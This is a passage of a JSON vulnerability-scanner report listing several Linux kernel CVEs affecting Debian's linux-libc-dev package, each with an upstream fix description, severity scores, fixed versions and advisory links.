"pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72130", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:65880b4b4d1f62e909fc1324bdd294823fff17ec78d4b8afc71c8be699c2ed0f", "Title": "kernel: nvmet-auth: reject short AUTH_RECEIVE buffers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-auth: reject short AUTH_RECEIVE buffers\n\nnvmet_execute_auth_receive() trusts the AUTH_RECEIVE allocation length\nafter checking only that it is nonzero and matches the transfer length.\nIn the SUCCESS1 and FAILURE1/default states, that lets a remote NVMe-oF\ninitiator reach the fixed-size DH-HMAC-CHAP response builders with a\nkmalloc() buffer shorter than the response, so nvmet_auth_success1() and\nnvmet_auth_failure1() write past the allocation; both only WARN_ON the\nshort length and then format the message anyway.\n\nImpact: A remote NVMe-oF initiator with access to an auth-enabled target\ncan trigger a 16-byte heap out-of-bounds write via a one-byte\nAUTH_RECEIVE allocation length.\n\nCompute the minimum response length for the current DH-HMAC-CHAP step in\nnvmet_auth_receive_data_len() and report a zero data length when the\nhost-supplied allocation length is shorter, so the existing zero-length\ncheck in nvmet_execute_auth_receive() rejects the command before any\nbuilder runs. The SUCCESS1 minimum is sizeof(struct\nnvmf_auth_dhchap_success1_data) plus the HMAC hash length, because the\nresponse hash is written into the rval[] flexible-array tail, so the\nminimum is state dependent rather than a flat sizeof. CHALLENGE keeps its\nexisting variable-length guard in nvmet_auth_challenge().\n\nThis is reachable only when in-band DH-HMAC-CHAP authentication is\nconfigured on the target.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-72130", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/779575bc35c687697ba69e904f2cd22e60112534%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2eaa3ad450141cfcf187bb43cb8335eb336b5f87", "https://git.kernel.org/stable/c/584d7d14d9b40b080b1195cec83de86ade63343e", "https://git.kernel.org/stable/c/779575bc35c687697ba69e904f2cd22e60112534", "https://git.kernel.org/stable/c/80bf7b7f676e3987bbe06af3c359bd56ac91a5a9", "https://git.kernel.org/stable/c/bc111698b46e43eddd8664cceaa621cd559e99a0", "https://git.kernel.org/stable/c/ecdb6332fe59ddf18aad758a4926e3d483f4860a", "https://linux.oracle.com/cve/CVE-2026-72130.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026081530-CVE-2026-72130-63b4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72130", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72130" ], "PublishedDate": "2026-08-15T06:21:30.453Z", "LastModifiedDate": "2026-10-30T13:19:47.237Z" }, { "VulnerabilityID": "CVE-2026-72137", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72137", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:025b4fbf95a94d3569d3dbe1ab41e57a5666387e573a6f0496a8c0203318a9c7", "Title": "kernel: xfrm: nat_keepalive: avoid double free on send error", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: nat_keepalive: avoid double free on send error\n\nnat_keepalive_send() frees the keepalive skb whenever the IPv4 or IPv6\nsend helper reports an error.\n\nThat cleanup is only correct before the skb is handed to the output\npath. Once ip_build_and_send_pkt() or ip6_xmit() takes ownership, the\nnetworking stack may already have consumed the skb before returning an\nerror, so freeing it again is unsafe.\n\nHandle the pre-handoff failure cases inside nat_keepalive_send_ipv4()\nand nat_keepalive_send_ipv6(), where the caller still owns the skb, and\nkeep nat_keepalive_send() responsible only for family dispatch and the\nunsupported-family cleanup path.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72137", "https://git.kernel.org/linus/226f4a490d1a938fc838d8f8c46a4eca864c0d78%20%287.2-rc4%29", "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=226f4a490d1a938fc838d8f8c46a4eca864c0d78", "https://git.kernel.org/stable/c/226f4a490d1a938fc838d8f8c46a4eca864c0d78", "https://git.kernel.org/stable/c/5b0c4c916f202b8fd13d12afb6af62b385622f81", "https://git.kernel.org/stable/c/a8a7e6a9ff8a4c1f067694ddbd44be67fdf36693", "https://git.kernel.org/stable/c/d0a4dc7efa825bce60a8da8f7d43c864a159abde", "https://github.com/NebuSec/CyberMeowfia/tree/main/security-research/Linux-CVE-2026-72137-ubuntu-7.0.0-28", "https://linux.oracle.com/cve/CVE-2026-72137.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://lore.kernel.org/linux-cve-announce/2026081531-CVE-2026-72137-5de5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72137", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72137" ], "PublishedDate": "2026-08-15T06:21:31.223Z", "LastModifiedDate": "2026-08-17T06:18:13.583Z" }, { "VulnerabilityID": "CVE-2026-72217", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72217", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:54c40f4e8b0cde57c6c575524c23306b2f63568bd74236f2d6789e40fbfa4818", "Title": "kernel: SUNRPC: Bound-check xdr_buf_to_bvec() stores before writing", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nSUNRPC: Bound-check xdr_buf_to_bvec() stores before writing\n\nxdr_buf_to_bvec() writes a bio_vec into the caller's array before\ntesting whether that slot is in range, and the head branch performs\nthe store with no check at all. When the caller's budget is exactly\nused up, the next store lands one element past the end of the array.\nThe overflow label returns count - 1, which masks the surplus store\nbut cannot undo it.\n\nrq_bvec, the array passed by nfsd_vfs_write(), is allocated to\nexactly rq_maxpages entries with no slack. The OOB store can land in\nadjacent slab memory; the bv_len and bv_offset fields written there\nare derived from client-supplied RPC payload sizes.\n\nMove the in-range check ahead of the store in the head, page-loop,\nand tail branches. With the check at the top of each sequence, count\nis incremented only after a successful store, so the overflow label\ncan return count directly.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72217", "https://git.kernel.org/linus/42f5b80dda6b86e424054baf1475df686c403d5c%20%287.2-rc1%29", "https://git.kernel.org/stable/c/42f5b80dda6b86e424054baf1475df686c403d5c", "https://git.kernel.org/stable/c/4a1148f2739d5089c3ca8ae2e9d1053e219ab5df", "https://git.kernel.org/stable/c/6029e711a818bf34d6c4b90cafee24f3afffa110", "https://git.kernel.org/stable/c/69e18135e2a004a79505451dbef07314ea16e1eb", "https://git.kernel.org/stable/c/98414b42530af65cb984ffc12685096a3b5e179a", "https://linux.oracle.com/cve/CVE-2026-72217.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026081546-CVE-2026-72217-6bfc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72217", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72217" ], "PublishedDate": "2026-08-15T06:21:40.493Z", "LastModifiedDate": "2026-08-17T06:18:22.683Z" }, { "VulnerabilityID": "CVE-2026-72221", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:aa0de1963b9cb5548971d156eb2855a751d6629c9c10f0f93a64495d3a107497", "Title": "kernel: sunrpc: wait for in-flight TLS handshake callback when cancel loses race", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsunrpc: wait for in-flight TLS handshake callback when cancel loses race\n\nWhen wait_for_completion_interruptible_timeout() in\nsvc_tcp_handshake() returns 0 (timeout) or -ERESTARTSYS (signal) and\ntls_handshake_cancel() then returns false, handshake_complete() has\nwon the cancellation race: it has set HANDSHAKE_F_REQ_COMPLETED and\nis about to invoke svc_tcp_handshake_done(), but the callback's\nside effects on xpt_flags and on svsk-\u003esk_handshake_done have not\nyet committed.\n\nThe current code reads xpt_flags immediately to decide whether the\nsession succeeded. Two races result.\n\nIf the callback has executed set_bit(XPT_TLS_SESSION) but not yet\nclear_bit(XPT_HANDSHAKE), svc_tcp_handshake() sees a session,\nenqueues the transport, and returns. svc_xprt_received() then\nclears XPT_BUSY, a worker thread picks the transport up, the\ndispatcher in svc_handle_xprt() observes XPT_HANDSHAKE still set,\nand xpo_handshake is invoked a second time. That svc_tcp_handshake()\ncalls init_completion(\u0026svsk-\u003esk_handshake_done) while the original\ncallback concurrently calls complete_all() on it, corrupting the\nembedded swait_queue.\n\nIf the callback has set HANDSHAKE_F_REQ_COMPLETED but not yet\nentered svc_tcp_handshake_done(), svc_tcp_handshake() reads\nXPT_TLS_SESSION as clear and tears the connection down even though\nthe handshake is about to succeed.\n\nWait for the callback to commit before inspecting xpt_flags. The\ncompletion is guaranteed to fire because handshake_complete()\ninvokes svc_tcp_handshake_done() unconditionally once it has set\nHANDSHAKE_F_REQ_COMPLETED.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 8.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-72221", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/linus/d00e32f84ca1a77cb67a3fbf59f58dada95f5a21%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0d8ceb39884148dc7a2fdf71e1cac5961ed1d2b9", "https://git.kernel.org/stable/c/65b23bec1fca6e9ebdc3e6041ebf8c6ab074141b", "https://git.kernel.org/stable/c/a4f878e8ecd729ccf2e50993444e217583adeace", "https://git.kernel.org/stable/c/d00e32f84ca1a77cb67a3fbf59f58dada95f5a21", "https://git.kernel.org/stable/c/e0f4691d42a54d359d8b64509fd9ab938d4f2a33", "https://linux.oracle.com/cve/CVE-2026-72221.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://lore.kernel.org/linux-cve-announce/2026081547-CVE-2026-72221-bbfe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72221", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72221" ], "PublishedDate": "2026-08-15T06:21:40.99Z", "LastModifiedDate": "2026-10-16T19:17:14.69Z" }, { "VulnerabilityID": "CVE-2026-72222", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72222", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:45ab8f0566321766226787a15552116d12f863658c4bcf5a5d8429fafeb1779b", "Title": "kernel: sunrpc: pin svc_xprt across the asynchronous TLS handshake callback", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsunrpc: pin svc_xprt across the asynchronous TLS handshake callback\n\nsvc_tcp_handshake() stores the raw svc_xprt pointer in\ntls_handshake_args.ta_data and submits the request through\ntls_server_hello_x509(). The handshake core takes only\nsock_hold(req-\u003ehr_sk); nothing references the embedding struct\nsvc_sock that svc_tcp_handshake_done() reaches via container_of().\n\nTwo close races leave the in-flight callback writing through a freed\nsvc_sock. svc_sock_free() calls tls_handshake_cancel() and discards\nits return value: a false return means handshake_complete() has\nalready set HANDSHAKE_F_REQ_COMPLETED but hp_done() may not have\nfinished, yet svc_sock_free() proceeds to kfree(svsk). The\ncancel-loser fall-through inside svc_tcp_handshake() itself produces\nthe same window: when wait_for_completion_interruptible_timeout()\nreturns \u003c= 0 (timeout or signal) and tls_handshake_cancel() returns\nfalse, the function does not drain, returns, and svc_handle_xprt()\ncalls svc_xprt_received(), which clears XPT_BUSY and can drop the\nlast reference. A concurrent close then runs svc_sock_free() while\nsvc_tcp_handshake_done() is still updating xpt_flags and walking\nsvsk-\u003esk_handshake_done.\n\nThe corruption surfaces as set_bit/clear_bit RMW into the freed\nxpt_flags slab slot and as complete_all() walking and writing the\nfreed wait_queue_head_t list embedded in sk_handshake_done -- a\nslab-corruption primitive, not a benign read. The path is reachable\non any TLS-enabled NFS server whenever a connection close overlaps\nthe tlshd downcall delivery window; the interruptible wait means\nsignal delivery suffices, not just SVC_HANDSHAKE_TO expiry.\n\nTake svc_xprt_get(xprt) immediately before tls_server_hello_x509()\nso the in-flight callback owns its own reference. Release it on the\ntwo edges where the callback is guaranteed not to fire -- submission\nfailure from tls_server_hello_x509() and a successful\ntls_handshake_cancel() -- and at the tail of\nsvc_tcp_handshake_done() after complete_all().\n\n[cel: rewrote commit message to describe the actual change]", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-72222", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/linus/4f988f3a2808fb659f3880c282041ff067acad78%20%287.2-rc1%29", "https://git.kernel.org/stable/c/083e9c2ec7e8bb13b79c9fd7b337abdd758ecc5f", "https://git.kernel.org/stable/c/2d4f97d13fff91e0bc539216be88b884b544d49f", "https://git.kernel.org/stable/c/3f9ee75a97a769be258784c22b89657acb5ed9bd", "https://git.kernel.org/stable/c/4f988f3a2808fb659f3880c282041ff067acad78", "https://git.kernel.org/stable/c/f3b55945dd99f29d83e1965d0141040a35262346", "https://linux.oracle.com/cve/CVE-2026-72222.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://lore.kernel.org/linux-cve-announce/2026081547-CVE-2026-72222-8ff1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72222", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", 